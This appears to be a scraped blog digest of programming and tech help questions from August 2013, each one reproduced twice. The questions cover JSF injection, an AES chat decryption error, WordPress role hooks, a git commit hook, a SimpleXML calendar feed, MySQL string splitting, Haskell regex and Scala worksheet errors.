server port is 10000 and client port is set to 10002 but when i connect to
server client port is different.
injecting `sessionScoped` `managedBean` doesn't work
injecting `sessionScoped` `managedBean` doesn't work
I have a sessionScoped managedBean called UserManager, when I try to print
#{UserManager.loggedIn} in the view, It work, but in my servlet-filter the
injection of this managedBean doesn't work.
I tried to inject it like this:
@ManagedProperty(value="#{userManager}")
private UserManager userManager;
And in userManager I have null pointer.
I have a sessionScoped managedBean called UserManager, when I try to print
#{UserManager.loggedIn} in the view, It work, but in my servlet-filter the
injection of this managedBean doesn't work.
I tried to inject it like this:
@ManagedProperty(value="#{userManager}")
private UserManager userManager;
And in userManager I have null pointer.
Tuesday, August 20, 2013
I do not understand modulos, I have a learning disability
I do not understand modulos, I have a learning disability
So i'm trying to understand modulo and I have been struggling due to a
small learning disorder I have. My question is how do you determine the
remainder of a modulo equation. If 27%16=11 how do you get the eleven is
what I don't understand?
So i'm trying to understand modulo and I have been struggling due to a
small learning disorder I have. My question is how do you determine the
remainder of a modulo equation. If 27%16=11 how do you get the eleven is
what I don't understand?
can I replace intel centrino wireless-n 2230 wireless card with intel(R) wireless wifi link 4965agn?
can I replace intel centrino wireless-n 2230 wireless card with intel(R)
wireless wifi link 4965agn?
so I have an old toshiba laptop (which used to be windows vista but I
upgraded it to windows 7) and it is core2duo and the wireless card is
intel(R) wireless wifi link 4965agn, which works really well.
I bought a new laptop recently which is made by lenovo, windows 8 touch
screen, 8GB RAM and i7. However, the wireless card SUCKS. It can't connect
to anything at all. The wireless card is intel centrino wireless-n 2230,
and it also got horrible reviews.
What I'm wondering is, can i take apart the laptop and remove and swap the
two wireless cards?
wireless wifi link 4965agn?
so I have an old toshiba laptop (which used to be windows vista but I
upgraded it to windows 7) and it is core2duo and the wireless card is
intel(R) wireless wifi link 4965agn, which works really well.
I bought a new laptop recently which is made by lenovo, windows 8 touch
screen, 8GB RAM and i7. However, the wireless card SUCKS. It can't connect
to anything at all. The wireless card is intel centrino wireless-n 2230,
and it also got horrible reviews.
What I'm wondering is, can i take apart the laptop and remove and swap the
two wireless cards?
Sending data between any two computers without server
Sending data between any two computers without server
I want to make a multiplayer game for which I want to send data b/w two
pc's. Now I don't want to include server inbetween because suppose if two
guys are in same collage but on different routers packet should find the
smallest possible path so it dosent needs to go to server and come back as
time lagging is critical for games. Now simply pinging to ip will not work
as they are behind NAT and both pc's have same global IP. can any one give
me any hint about any libraries, any project in which this has been
implemented or how to accomplish this.
I want to make a multiplayer game for which I want to send data b/w two
pc's. Now I don't want to include server inbetween because suppose if two
guys are in same collage but on different routers packet should find the
smallest possible path so it dosent needs to go to server and come back as
time lagging is critical for games. Now simply pinging to ip will not work
as they are behind NAT and both pc's have same global IP. can any one give
me any hint about any libraries, any project in which this has been
implemented or how to accomplish this.
Display one div at a time
Display one div at a time
When I click on a link on the menu, a div slides down to show some
contents. But the problem is, I only want one div at a time.
As you can see on the fiddle, if you click on one link, a div appears, if
you click on another link, another div appears below the the first div.
I only want one DIV at a time. What should I modify in my javascript code
to do that?
$(document).ready(function(){
$("#flip").click(function(){
$("#panel").slideToggle("fast");
});
$("#flip2").click(function(){
$("#panel2").slideToggle("fast");
});
$("#flip3").click(function(){
$("#panel3").slideToggle("fast");
});
$("#flip4").click(function(){
$("#panel4").slideToggle("fast");
});
});
http://jsfiddle.net/U52rr/8/
Thanks for reading!
When I click on a link on the menu, a div slides down to show some
contents. But the problem is, I only want one div at a time.
As you can see on the fiddle, if you click on one link, a div appears, if
you click on another link, another div appears below the the first div.
I only want one DIV at a time. What should I modify in my javascript code
to do that?
$(document).ready(function(){
$("#flip").click(function(){
$("#panel").slideToggle("fast");
});
$("#flip2").click(function(){
$("#panel2").slideToggle("fast");
});
$("#flip3").click(function(){
$("#panel3").slideToggle("fast");
});
$("#flip4").click(function(){
$("#panel4").slideToggle("fast");
});
});
http://jsfiddle.net/U52rr/8/
Thanks for reading!
JTable.clearSelection() vs Jtable.getSelectionModel.clearSelection() - When to use what?
JTable.clearSelection() vs Jtable.getSelectionModel.clearSelection() -
When to use what?
I need to cancel all Selections within a JTable Model Object. Java
provides this function "clearSelection()" which does, what I need, as far
as I understand.
But I am confused why this function can be called on a JTable Object as
well as on a selection model for a jtable object
1) mytable.clearSelection();
2) mytable.getSelectionModel().clearSelection();
Both ways work, but I do not understand in what situation a
clearSelectuon() of a SelectionModel (like at 2) ) would make any sense.
As far as I understood SelectionModels, they are used to decide what kind
of selections a JTable allows. I use the SelectionModel to only allow a
Selection of exaclty one row
//allow only one row to be selected
mytable.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
Which way is to be prefered in what kind of situation? Is there a good
reason not to use way 1?
I would be glad if anyone has some beginnerfriendly explenation for that.
Thx in advance
When to use what?
I need to cancel all Selections within a JTable Model Object. Java
provides this function "clearSelection()" which does, what I need, as far
as I understand.
But I am confused why this function can be called on a JTable Object as
well as on a selection model for a jtable object
1) mytable.clearSelection();
2) mytable.getSelectionModel().clearSelection();
Both ways work, but I do not understand in what situation a
clearSelectuon() of a SelectionModel (like at 2) ) would make any sense.
As far as I understood SelectionModels, they are used to decide what kind
of selections a JTable allows. I use the SelectionModel to only allow a
Selection of exaclty one row
//allow only one row to be selected
mytable.setSelectionMode(ListSelectionModel.SINGLE_SELECTION);
Which way is to be prefered in what kind of situation? Is there a good
reason not to use way 1?
I would be glad if anyone has some beginnerfriendly explenation for that.
Thx in advance
Restart iterator when finished
Restart iterator when finished
I have a list and I'd like to get the values at i-1, i and i+1 positions.
When i is the first or the last index, it would throw an
IndexOutOfBoundsException. To prevent that, I would write a few
if-statements and hardcode it like that:
if (i == 0){
a = list.get(list.size()-1);
b = list.get(0);
c = list.get(1);
} else if (i == list.size()-1){
a = list.get(i-1);
b = list.get(i);
c = list.get(0);
} else {
a = list.get(i-1);
b = list.get(i);
c = list.get(i+1);
}
I find this way is a littlebit static. Let's say I want to get n entries
from the list in this way, how would you do that?
I have a list and I'd like to get the values at i-1, i and i+1 positions.
When i is the first or the last index, it would throw an
IndexOutOfBoundsException. To prevent that, I would write a few
if-statements and hardcode it like that:
if (i == 0){
a = list.get(list.size()-1);
b = list.get(0);
c = list.get(1);
} else if (i == list.size()-1){
a = list.get(i-1);
b = list.get(i);
c = list.get(0);
} else {
a = list.get(i-1);
b = list.get(i);
c = list.get(i+1);
}
I find this way is a littlebit static. Let's say I want to get n entries
from the list in this way, how would you do that?
Moved app from Paid to Free (with IAB) resulted in massive ranking drop
Moved app from Paid to Free (with IAB) resulted in massive ranking drop
Yesterday I moved my app which was quite highly ranked from Paid to Free
app with in app billing. The app instantly dropped to literal obscurity
the second I did it. It was almost as if my ranking value in the database
had been reset!
Has anyone experienced this? Will the app recover in the next few days
once the rankings get calculated again?
Thanks!
Yesterday I moved my app which was quite highly ranked from Paid to Free
app with in app billing. The app instantly dropped to literal obscurity
the second I did it. It was almost as if my ranking value in the database
had been reset!
Has anyone experienced this? Will the app recover in the next few days
once the rankings get calculated again?
Thanks!
Monday, August 19, 2013
Can't fix "Error: Input length must be a multiple of 16 when decrypting with a pad cipher"
Can't fix "Error: Input length must be a multiple of 16 when decrypting
with a pad cipher"
Ello! I am working a chat application that encrypts it's data through
AES/CBC/PKCS5 Padding. It works through the client sending the encrypted
message to the server where it is sent back and decrypted. Unfortunately,
whenever I decrypt the message, I get the error as follows:
javax.crypto.IllegalBlockSizeException: Input length must be multiple of
16 when decrypting with padded cipher. The encryption is based of this
program :(http://www.scottjjohnson.com/blog/AesWithCbcExample.java) which
works perfectly fine and I cannot see the difference between my code and
that one except for that I must convert from string to byte array. Here is
my code code:
Client (Encryption):
//ENCRYPTION
String message = textField.getText();
// generate a key
KeyGenerator keygen = KeyGenerator.getInstance("AES");
keygen.init(128); // To use 256 bit keys, you need the
"unlimited strength" encryption policy files from Sun.
byte[] key = keygen.generateKey().getEncoded();
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
// build the initialization vector. This example is all
zeros, but it
// could be any value or generated using a random number
generator.
byte[] iv = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
IvParameterSpec ivspec = new IvParameterSpec(iv);
// initialize the cipher for encrypt mode
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, ivspec);
// encrypt the message
byte[] encrypted = cipher.doFinal(message.getBytes());
System.out.println("Ciphertext: " + encrypted + "\n");
System.out.println(encrypted);
out.println(encrypted);
textField.setText("");
Server Side:
String input = in.readLine();
writer.println("MESSAGE " + input);
Client (Decryption):
//DECRYPTION
System.out.println(line);
line = line.substring(8);
System.out.println(line);
// generate a key
KeyGenerator keygen = KeyGenerator.getInstance("AES");
keygen.init(128); // To use 256 bit keys, you need the
"unlimited strength" encryption policy files from Sun.
byte[] key = keygen.generateKey().getEncoded();
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
// build the initialization vector. This example is all
zeros, but it
// could be any value or generated using a random number
generator.
byte[] iv = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
IvParameterSpec ivspec = new IvParameterSpec(iv);
// reinitialize the cipher for decryption
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, skeySpec, ivspec);
// decrypt the message
byte[] decrypted = cipher.doFinal(line.getBytes());
System.out.println("Plaintext: " + new String(decrypted) + "\n");
messageArea.append(name + ": " + decrypted + "\n");
messageArea.setCaretPosition(messageArea.getDocument().getLength());
with a pad cipher"
Ello! I am working a chat application that encrypts it's data through
AES/CBC/PKCS5 Padding. It works through the client sending the encrypted
message to the server where it is sent back and decrypted. Unfortunately,
whenever I decrypt the message, I get the error as follows:
javax.crypto.IllegalBlockSizeException: Input length must be multiple of
16 when decrypting with padded cipher. The encryption is based of this
program :(http://www.scottjjohnson.com/blog/AesWithCbcExample.java) which
works perfectly fine and I cannot see the difference between my code and
that one except for that I must convert from string to byte array. Here is
my code code:
Client (Encryption):
//ENCRYPTION
String message = textField.getText();
// generate a key
KeyGenerator keygen = KeyGenerator.getInstance("AES");
keygen.init(128); // To use 256 bit keys, you need the
"unlimited strength" encryption policy files from Sun.
byte[] key = keygen.generateKey().getEncoded();
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
// build the initialization vector. This example is all
zeros, but it
// could be any value or generated using a random number
generator.
byte[] iv = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
IvParameterSpec ivspec = new IvParameterSpec(iv);
// initialize the cipher for encrypt mode
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, ivspec);
// encrypt the message
byte[] encrypted = cipher.doFinal(message.getBytes());
System.out.println("Ciphertext: " + encrypted + "\n");
System.out.println(encrypted);
out.println(encrypted);
textField.setText("");
Server Side:
String input = in.readLine();
writer.println("MESSAGE " + input);
Client (Decryption):
//DECRYPTION
System.out.println(line);
line = line.substring(8);
System.out.println(line);
// generate a key
KeyGenerator keygen = KeyGenerator.getInstance("AES");
keygen.init(128); // To use 256 bit keys, you need the
"unlimited strength" encryption policy files from Sun.
byte[] key = keygen.generateKey().getEncoded();
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
// build the initialization vector. This example is all
zeros, but it
// could be any value or generated using a random number
generator.
byte[] iv = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
IvParameterSpec ivspec = new IvParameterSpec(iv);
// reinitialize the cipher for decryption
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, skeySpec, ivspec);
// decrypt the message
byte[] decrypted = cipher.doFinal(line.getBytes());
System.out.println("Plaintext: " + new String(decrypted) + "\n");
messageArea.append(name + ": " + decrypted + "\n");
messageArea.setCaretPosition(messageArea.getDocument().getLength());
Wordpress: Change current user role with form selection on update (not entry creation)
Wordpress: Change current user role with form selection on update (not
entry creation)
I'm using Formidable forms and have a form that registers users. I can use
a radio button in the registration form to determine what their role will
be. I have a php hook for that. What I need, however, is a php hook that
will change the user role based on radio selection on form entry UPDATE.
My current code only works on entry creation. Here is the code that
assigns roles on registration:
add_filter('frmreg_new_role', 'frmreg_new_role', 10, 2);
function frmreg_new_role($role, $atts){
extract($atts);
if($form->id == 8){
if($_POST['item_meta'][280] == 'Job Applicant')
$role = 'applicant';
}
return $role;
}
"8" is the id of the form itself. "280" is the id of the radio button
field where "Job Applicant" is one of the values. And "applicant" is one
of our site's user roles.
I need an adaptation of this that will change the role after the entry has
already been created, on update. The closest thing I can find is a hook
that changes user role after a successful PayPal payment. I tried to
combine the two but I couldn't get it to work. Here is the PayPal
generated user role changer:
add_action('frm_payment_paypal_ipn', 'change_paid_user_role');
function change_paid_user_role($args){
$new_role = 'contributor'; //change this to the role paid users should
have
if(!$args['pay_vars']['completed'])
return; //don't continue if the payment was not completed
if(!$args['entry']->user_id or !is_numeric($args['entry']->user_id))
return; //don't continue if not linked to a user
$user = get_userdata($args['entry']->user_id);
if(!$user)
return; //don't continue if user doesn't exist
$updated_user = (array)$user;
// Get the highest/primary role for this user
$user_roles = $user->roles;
$user_role = array_shift($user_roles);
if ( $user_role == 'administrator' )
return; //make sure we don't downgrade any admins
$updated_user['role'] = $new_role;
wp_update_user($updated_user);
}
If anybody could point me toward a solution, I'd be very grateful. If any
further info is needed from me, I'm happy to provide what I can.
entry creation)
I'm using Formidable forms and have a form that registers users. I can use
a radio button in the registration form to determine what their role will
be. I have a php hook for that. What I need, however, is a php hook that
will change the user role based on radio selection on form entry UPDATE.
My current code only works on entry creation. Here is the code that
assigns roles on registration:
add_filter('frmreg_new_role', 'frmreg_new_role', 10, 2);
function frmreg_new_role($role, $atts){
extract($atts);
if($form->id == 8){
if($_POST['item_meta'][280] == 'Job Applicant')
$role = 'applicant';
}
return $role;
}
"8" is the id of the form itself. "280" is the id of the radio button
field where "Job Applicant" is one of the values. And "applicant" is one
of our site's user roles.
I need an adaptation of this that will change the role after the entry has
already been created, on update. The closest thing I can find is a hook
that changes user role after a successful PayPal payment. I tried to
combine the two but I couldn't get it to work. Here is the PayPal
generated user role changer:
add_action('frm_payment_paypal_ipn', 'change_paid_user_role');
function change_paid_user_role($args){
$new_role = 'contributor'; //change this to the role paid users should
have
if(!$args['pay_vars']['completed'])
return; //don't continue if the payment was not completed
if(!$args['entry']->user_id or !is_numeric($args['entry']->user_id))
return; //don't continue if not linked to a user
$user = get_userdata($args['entry']->user_id);
if(!$user)
return; //don't continue if user doesn't exist
$updated_user = (array)$user;
// Get the highest/primary role for this user
$user_roles = $user->roles;
$user_role = array_shift($user_roles);
if ( $user_role == 'administrator' )
return; //make sure we don't downgrade any admins
$updated_user['role'] = $new_role;
wp_update_user($updated_user);
}
If anybody could point me toward a solution, I'd be very grateful. If any
further info is needed from me, I'm happy to provide what I can.
Added a pre commit hook to central repo (or something similar)
Added a pre commit hook to central repo (or something similar)
Ok, so I have figured out how to add a pre-commit hook that checks for a
message that will reference a JIRA item.
#!/bin/sh
test "" != "$(grep 'JIRA-' "$1")" || {
echo >&2 "ERROR: Commit message is missing Jira issue number."
exit 1
}
I add this to my local repo and all cool. Every commit I make to it has
this commit message. However, I am interested in the situation where there
is a bunch of developers all commiting to their local repos and then
pushing / pulling to a remote master on githu . What I'd like is a similar
mechanism for when the push changes to the remote repo on gitlab that they
have to similarly reference a JIRA.
What is a good way to do this?
Thansk
Ok, so I have figured out how to add a pre-commit hook that checks for a
message that will reference a JIRA item.
#!/bin/sh
test "" != "$(grep 'JIRA-' "$1")" || {
echo >&2 "ERROR: Commit message is missing Jira issue number."
exit 1
}
I add this to my local repo and all cool. Every commit I make to it has
this commit message. However, I am interested in the situation where there
is a bunch of developers all commiting to their local repos and then
pushing / pulling to a remote master on githu . What I'd like is a similar
mechanism for when the push changes to the remote repo on gitlab that they
have to similarly reference a JIRA.
What is a good way to do this?
Thansk
simpleXML error with google calendar feed with pdo on server
simpleXML error with google calendar feed with pdo on server
i am using some php to grab a google feed with simpleXML to display on my
site. it works fine staged on my test server (no PDO). I installed it live
on my site and it worked. Then i needed to update my CMS which needed
either PDO or Mysqli and my host installed the PDO extensions. after that
it no longer worked. here is the error message:
: Call to a member function asXML() on a non-object in
/home/cactusta/public_html/calendar.php on line 121
here is the relevant part of the script that i am using:
// Your private feed - which you get by right-clicking the 'xml'
button in the 'Private Address' section of 'Calendar Details'.
if (!isset($calendarfeed)) {$calendarfeed = "myfeed.com/public/basic"; }
// Date format you want your details to appear
$dateformat="j F Y"; // 10 March 2009 - see http://www.php.net/date
for details
$timeformat="g.ia"; // 12.15am
// The timezone that your user/venue is in (i.e. the time you're
entering stuff in Google Calendar.)
http://www.php.net/manual/en/timezones.php has a full list
date_default_timezone_set('Europe/London');
// How you want each thing to display.
// By default, this contains all the bits you can grab. You can put
###DATE### in here too if you want to, and disable the 'group by date'
below.
$event_display="<P><B>###TITLE###</b> - from ###FROM###
###DATESTART### until ###UNTIL### ###DATEEND### (<a
href='###LINK###'>add this</a>)<BR>###WHERE### (<a
href='###MAPLINK###'>map</a>)<br>###DESCRIPTION###</p>";
// What happens if there's nothing to display
$event_error="<P>There are no events to display.</p>";
// The separate date header is here
$event_dateheader="<P><B>###DATE###</b></P>";
$GroupByDate=true;
// Change the above to 'false' if you don't want to group this by dates.
// ...and how many you want to display (leave at 999 for everything)
$items_to_show=999;
// ...and here's where you tell it to use a cache.
// Your PHP will need to be able to write to a file called "gcal.xml"
in your root. Create this file by SSH'ing into your box and typing
these three commands...
// > touch gcal.xml
// > chmod 666 gcal.xml
// > touch -t 01101200 gcal.xml
// If you don't need this, or this is all a bit complex, change this
to 'false'
$use_cache=true;
// And finally, change this to 'true' to see lots of fancy debug code
$debug_mode=false;
//
//End of configuration block
/////////
if ($debug_mode) {error_reporting (E_ALL); ini_set('display_errors', 1);
ini_set('error_reporting', E_ALL); echo "<P>Debug mode is on. Hello
there.<BR>Your server thinks the time is ".date(DATE_RFC822)."</p>";}
// Form the XML address.
$calendar_xml_address =
str_replace("/basic","/full?singleevents=true&futureevents=true&max-results".$items_to_show."&orderby=starttime&sortorder=a",$calendarfeed);
//This goes and gets future events in your feed.
if ($debug_mode) {
echo "<P>We're going to go and grab <a
href='$calendar_xml_address'>this feed</a>.<P>";}
if ($use_cache) {
////////
//Cache
//
$cache_time = 3600*12; // 12 hours
$cache_file = $_SERVER['DOCUMENT_ROOT'].'/gcal.xml'; //xml
file saved on server
if ($debug_mode) {echo "<P>Your cache is saved at
".$cache_file."</P>";}
$timedif = @(time() - filemtime($cache_file));
$xml = "";
if (file_exists($cache_file) && $timedif < $cache_time) {
if ($debug_mode) {echo "<P>I'll use the cache.</P>";}
$str = file_get_contents($cache_file);
$xml = simplexml_load_string($str);
} else { //not here
if ($debug_mode) {echo "<P>I don't have any valid
cached copy.</P>";}
$xml = simplexml_load_file($calendar_xml_address);
//come here
if ($f = fopen($cache_file, 'w')) { //save info
$str = $xml->asXML();
fwrite ($f, $str, strlen($str));
fclose($f);
if ($debug_mode) {echo "<P>Cache saved :)</P>";}
} else { echo "<P>Can't write to the cache.</P>"; }
}
//done!
} else {
$xml = simplexml_load_file($calendar_xml_address);
}
if ($debug_mode) {echo "<P>Successfully got the GCal feed.</p>";}
$items_shown=0;
$old_date="";
$xml->asXML();
i am using some php to grab a google feed with simpleXML to display on my
site. it works fine staged on my test server (no PDO). I installed it live
on my site and it worked. Then i needed to update my CMS which needed
either PDO or Mysqli and my host installed the PDO extensions. after that
it no longer worked. here is the error message:
: Call to a member function asXML() on a non-object in
/home/cactusta/public_html/calendar.php on line 121
here is the relevant part of the script that i am using:
// Your private feed - which you get by right-clicking the 'xml'
button in the 'Private Address' section of 'Calendar Details'.
if (!isset($calendarfeed)) {$calendarfeed = "myfeed.com/public/basic"; }
// Date format you want your details to appear
$dateformat="j F Y"; // 10 March 2009 - see http://www.php.net/date
for details
$timeformat="g.ia"; // 12.15am
// The timezone that your user/venue is in (i.e. the time you're
entering stuff in Google Calendar.)
http://www.php.net/manual/en/timezones.php has a full list
date_default_timezone_set('Europe/London');
// How you want each thing to display.
// By default, this contains all the bits you can grab. You can put
###DATE### in here too if you want to, and disable the 'group by date'
below.
$event_display="<P><B>###TITLE###</b> - from ###FROM###
###DATESTART### until ###UNTIL### ###DATEEND### (<a
href='###LINK###'>add this</a>)<BR>###WHERE### (<a
href='###MAPLINK###'>map</a>)<br>###DESCRIPTION###</p>";
// What happens if there's nothing to display
$event_error="<P>There are no events to display.</p>";
// The separate date header is here
$event_dateheader="<P><B>###DATE###</b></P>";
$GroupByDate=true;
// Change the above to 'false' if you don't want to group this by dates.
// ...and how many you want to display (leave at 999 for everything)
$items_to_show=999;
// ...and here's where you tell it to use a cache.
// Your PHP will need to be able to write to a file called "gcal.xml"
in your root. Create this file by SSH'ing into your box and typing
these three commands...
// > touch gcal.xml
// > chmod 666 gcal.xml
// > touch -t 01101200 gcal.xml
// If you don't need this, or this is all a bit complex, change this
to 'false'
$use_cache=true;
// And finally, change this to 'true' to see lots of fancy debug code
$debug_mode=false;
//
//End of configuration block
/////////
if ($debug_mode) {error_reporting (E_ALL); ini_set('display_errors', 1);
ini_set('error_reporting', E_ALL); echo "<P>Debug mode is on. Hello
there.<BR>Your server thinks the time is ".date(DATE_RFC822)."</p>";}
// Form the XML address.
$calendar_xml_address =
str_replace("/basic","/full?singleevents=true&futureevents=true&max-results".$items_to_show."&orderby=starttime&sortorder=a",$calendarfeed);
//This goes and gets future events in your feed.
if ($debug_mode) {
echo "<P>We're going to go and grab <a
href='$calendar_xml_address'>this feed</a>.<P>";}
if ($use_cache) {
////////
//Cache
//
$cache_time = 3600*12; // 12 hours
$cache_file = $_SERVER['DOCUMENT_ROOT'].'/gcal.xml'; //xml
file saved on server
if ($debug_mode) {echo "<P>Your cache is saved at
".$cache_file."</P>";}
$timedif = @(time() - filemtime($cache_file));
$xml = "";
if (file_exists($cache_file) && $timedif < $cache_time) {
if ($debug_mode) {echo "<P>I'll use the cache.</P>";}
$str = file_get_contents($cache_file);
$xml = simplexml_load_string($str);
} else { //not here
if ($debug_mode) {echo "<P>I don't have any valid
cached copy.</P>";}
$xml = simplexml_load_file($calendar_xml_address);
//come here
if ($f = fopen($cache_file, 'w')) { //save info
$str = $xml->asXML();
fwrite ($f, $str, strlen($str));
fclose($f);
if ($debug_mode) {echo "<P>Cache saved :)</P>";}
} else { echo "<P>Can't write to the cache.</P>"; }
}
//done!
} else {
$xml = simplexml_load_file($calendar_xml_address);
}
if ($debug_mode) {echo "<P>Successfully got the GCal feed.</p>";}
$items_shown=0;
$old_date="";
$xml->asXML();
Payday 2 - Unlocking the Sharpshooter Skill
Payday 2 - Unlocking the Sharpshooter Skill
The "Unlocking the Sharpshooter" "ACE" improves all rifles, so does that
means also the assault rifles?
The "Unlocking the Sharpshooter" "ACE" improves all rifles, so does that
means also the assault rifles?
Sunday, August 18, 2013
How to hide bookmarked sites from showing from address bar in Chrome?
How to hide bookmarked sites from showing from address bar in Chrome?
I have bookmarked some sites with titles "Free mp3 song", "Free video" and
so on.
When I am searching for "Free " in address bar, the bookmarked sites are
shown first. How can I hide the bookmarked sites from showing in address
bar?
I have bookmarked some sites with titles "Free mp3 song", "Free video" and
so on.
When I am searching for "Free " in address bar, the bookmarked sites are
shown first. How can I hide the bookmarked sites from showing in address
bar?
Split delimited string value into rows
Split delimited string value into rows
Some external data vendor wants to give me a data field - pipe delimited
string value, which I find quite difficult to deal with.
Without help from an application programming language, is there a way to
transform the string value into rows?
There is a difficulty however, the field has unknown number of delimited
elements.
DB engine in question is MySQL.
For example:
Input: Tuple(1, "a|b|c")
Output:
Tuple(1, "a")
Tuple(1, "b")
Tuple(1, "c")
Some external data vendor wants to give me a data field - pipe delimited
string value, which I find quite difficult to deal with.
Without help from an application programming language, is there a way to
transform the string value into rows?
There is a difficulty however, the field has unknown number of delimited
elements.
DB engine in question is MySQL.
For example:
Input: Tuple(1, "a|b|c")
Output:
Tuple(1, "a")
Tuple(1, "b")
Tuple(1, "c")
Haskell regex-pcre negate expression
Haskell regex-pcre negate expression
How can I achieve an inverse match so that for example
getAllTextMatches $ "foobar bar bl a" =~ pattern :: [String]
would prodcuce a list of strings that are not multiple whitespace.
I've tried
getAllTextMatches $ "foobar bar bl a" =~ "(\\s\\s+)" :: [String]
which returns me this list as expected:
[" "," "," "]
Now I tried to negate the expression the following way
getAllTextMatches $ "foobar bar bl a" =~ "(?!\\s\\s+)" :: [String]
which returned
[""]
whereas I wanted to receive this:
["foobar", "bar", "bl", "a"]
How can I achieve an inverse match so that for example
getAllTextMatches $ "foobar bar bl a" =~ pattern :: [String]
would prodcuce a list of strings that are not multiple whitespace.
I've tried
getAllTextMatches $ "foobar bar bl a" =~ "(\\s\\s+)" :: [String]
which returns me this list as expected:
[" "," "," "]
Now I tried to negate the expression the following way
getAllTextMatches $ "foobar bar bl a" =~ "(?!\\s\\s+)" :: [String]
which returned
[""]
whereas I wanted to receive this:
["foobar", "bar", "bl", "a"]
syntax error, unexpected T_OBJECT_OPERATOR in recursive function
syntax error, unexpected T_OBJECT_OPERATOR in recursive function
I've one problem which may you can help me to tackle. I've an array variable:
array (size=3)
'id' => string '7' (length=1)
'mother' =>
array (size=3)
'id' => string '10' (length=2)
'mother' =>
array (size=1)
'id' => string '13' (length=2)
'father' =>
array (size=1)
'id' => string '9' (length=1)
'father' =>
array (size=3)
'id' => string '8' (length=1)
'mother' =>
array (size=1)
'id' => string '12' (length=2)
'father' =>
array (size=1)
'id' => string '11' (length=2)
When I'm sending this variable to the recursive function I get an error:
Parse error: syntax error, unexpected T_OBJECT_OPERATOR in
C:\wamp\www\wordpress\wp-content\plugins\dogs\includes\classes\family_tree.php
on line 62
function painting_tree($tree)
{
foreach ($tree as $key=>$value)
{
//echo $value . '<br />';
if (sizeof($value) > 1)
{
this->painting_tree($value); // 62 line
}
}
}
What I should do that I could solve this problem?
Thank you
I've one problem which may you can help me to tackle. I've an array variable:
array (size=3)
'id' => string '7' (length=1)
'mother' =>
array (size=3)
'id' => string '10' (length=2)
'mother' =>
array (size=1)
'id' => string '13' (length=2)
'father' =>
array (size=1)
'id' => string '9' (length=1)
'father' =>
array (size=3)
'id' => string '8' (length=1)
'mother' =>
array (size=1)
'id' => string '12' (length=2)
'father' =>
array (size=1)
'id' => string '11' (length=2)
When I'm sending this variable to the recursive function I get an error:
Parse error: syntax error, unexpected T_OBJECT_OPERATOR in
C:\wamp\www\wordpress\wp-content\plugins\dogs\includes\classes\family_tree.php
on line 62
function painting_tree($tree)
{
foreach ($tree as $key=>$value)
{
//echo $value . '<br />';
if (sizeof($value) > 1)
{
this->painting_tree($value); // 62 line
}
}
}
What I should do that I could solve this problem?
Thank you
scala - error: not found: value
scala - error: not found: value
I newly at scala and tried to pass some easy scala worksheet.
IDE is Intellij IDEA community edition and OS Ubuntu 12.04, sbt was
installed correctly.
But it throws error - error: not found: value
OI can't understand why this happen:
Code:
object session {
1 + 2
def sqrtIter(guess: Double, x: Double): Double =
if (isGoodEnough(guess, x)) guess
else sqrtIter(improve(guess, x), x)
def isGoodEnough(guess: Double, x: Double) =
abs(guess * guess - x) < 0.001
def improve(guess: Double, x: Double) =
(guess + x / guess) / 2
def sqrt(x: Double) = sqrtIter(1.0, x)
sqrt(2)
sqrt(4)
}
Output from right side of screen:
> res0: Int = 3
> <console>:8: error: not found: value isGoodEnough
if (isGoodEnough(guess, x)) guess else
sqrtIter(improve(guess, x), x)
^
<console>:8: error: not found: value improve
if (isGoodEnough(guess, x)) guess else
sqrtIter(improve(guess, x), x)
^
> <console>:8: error: not found: value abs
abs(guess * guess - x) < 0.001
^
> improve: (guess: Double, x: Double)Double
> <console>:7: error: not found: value sqrtIter
def sqrt(x: Double) = sqrtIter(1.0, x)
^
> <console>:8: error: not found: value sqrt
sqrt(2)
^
> <console>:8: error: not found: value sqrt
sqrt(4)
Any suggestions?
I newly at scala and tried to pass some easy scala worksheet.
IDE is Intellij IDEA community edition and OS Ubuntu 12.04, sbt was
installed correctly.
But it throws error - error: not found: value
OI can't understand why this happen:
Code:
object session {
1 + 2
def sqrtIter(guess: Double, x: Double): Double =
if (isGoodEnough(guess, x)) guess
else sqrtIter(improve(guess, x), x)
def isGoodEnough(guess: Double, x: Double) =
abs(guess * guess - x) < 0.001
def improve(guess: Double, x: Double) =
(guess + x / guess) / 2
def sqrt(x: Double) = sqrtIter(1.0, x)
sqrt(2)
sqrt(4)
}
Output from right side of screen:
> res0: Int = 3
> <console>:8: error: not found: value isGoodEnough
if (isGoodEnough(guess, x)) guess else
sqrtIter(improve(guess, x), x)
^
<console>:8: error: not found: value improve
if (isGoodEnough(guess, x)) guess else
sqrtIter(improve(guess, x), x)
^
> <console>:8: error: not found: value abs
abs(guess * guess - x) < 0.001
^
> improve: (guess: Double, x: Double)Double
> <console>:7: error: not found: value sqrtIter
def sqrt(x: Double) = sqrtIter(1.0, x)
^
> <console>:8: error: not found: value sqrt
sqrt(2)
^
> <console>:8: error: not found: value sqrt
sqrt(4)
Any suggestions?
Subscribe to:
Comments (Atom)